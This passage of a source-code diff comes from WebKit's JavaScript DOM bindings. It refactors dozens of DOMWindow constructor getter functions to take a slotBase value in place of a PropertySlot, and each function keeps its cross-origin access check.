+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSStyleDeclaration::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowMediaListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMediaListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSMediaList::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCounterConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCounterConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCounter::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSRuleListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSRuleListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSRuleList::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowRectConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowRectConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSRect::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowRGBColorConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowRGBColorConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSRGBColor::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowStyleSheetListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowStyleSheetListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSStyleSheetList::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowDOMExceptionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowDOMExceptionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSDOMCoreException::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowDOMImplementationConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowDOMImplementationConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSDOMImplementation::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowDocumentFragmentConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowDocumentFragmentConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSDocumentFragment::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowDocumentConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowDocumentConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSDocument::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowNodeConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowNodeConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSNode::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowNodeListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowNodeListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSNodeList::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowNamedNodeMapConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowNamedNodeMapConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSNamedNodeMap::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCharacterDataConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCharacterDataConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCharacterData::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowAttrConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowAttrConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSAttr::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowTextConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowTextConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSText::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCommentConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCommentConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSComment::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCDATASectionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCDATASectionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCDATASection::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowDocumentTypeConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowDocumentTypeConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSDocumentType::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowNotationConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowNotationConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSNotation::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowEntityConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowEntityConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSEntity::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowEntityReferenceConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowEntityReferenceConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSEntityReference::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowProcessingInstructionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowProcessingInstructionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSProcessingInstruction::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLDocumentConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLDocumentConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLDocument::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLAnchorElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLAnchorElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLAnchorElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLAppletElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLAppletElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLAppletElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLAreaElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLAreaElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLAreaElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLBRElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLBRElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLBRElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLBaseElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLBaseElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLBaseElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLBaseFontElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLBaseFontElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLBaseFontElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLBlockquoteElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLBlockquoteElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLBlockquoteElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLBodyElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLBodyElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLBodyElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLButtonElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLButtonElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLButtonElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLCanvasElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLCanvasElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLCanvasElement::getConstructor(exec, castedThis);
 }
 
 #if ENABLE(DATAGRID)
-JSValue jsDOMWindowHTMLDataGridElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLDataGridElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLDataGridElement::getConstructor(exec, castedThis);
@@ -2450,9 +2942,9 @@ JSValue jsDOMWindowHTMLDataGridElementConstructor(ExecState* exec, const Identif
 #endif
 
 #if ENABLE(DATAGRID)
-JSValue jsDOMWindowHTMLDataGridCellElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLDataGridCellElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLDataGridCellElement::getConstructor(exec, castedThis);
@@ -2460,887 +2952,911 @@ JSValue jsDOMWindowHTMLDataGridCellElementConstructor(ExecState* exec, const Ide
 #endif
 
 #if ENABLE(DATAGRID)
-JSValue jsDOMWindowHTMLDataGridColElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLDataGridColElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLDataGridColElement::getConstructor(exec, castedThis);
 }
 #endif
 
-JSValue jsDOMWindowHTMLDListElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLDListElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLDListElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLDirectoryElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLDirectoryElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLDirectoryElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLDivElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLDivElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLDivElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLEmbedElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLEmbedElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLEmbedElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLFieldSetElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLFieldSetElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLFieldSetElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLFontElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLFontElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLFontElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLFormElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLFormElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLFormElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLFrameElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLFrameElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLFrameElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLFrameSetElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLFrameSetElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLFrameSetElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLHRElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLHRElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLHRElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLHeadElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLHeadElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLHeadElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLHeadingElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLHeadingElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLHeadingElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLHtmlElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLHtmlElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLHtmlElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLIFrameElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLIFrameElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLIFrameElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLImageElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLImageElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLImageElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLInputElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLInputElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLInputElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLIsIndexElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLIsIndexElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLIsIndexElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLLIElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLLIElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
